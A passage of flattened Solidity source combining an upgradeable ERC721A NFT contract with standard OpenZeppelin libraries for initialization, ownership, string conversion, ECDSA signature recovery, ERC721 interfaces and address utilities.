mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721AUpgradeable.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[42] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(!_initialized, "Initializable: contract is already initialized"); // require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; } _; if (isTopLevelCall) { _initializing = false; _initialized = true; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, 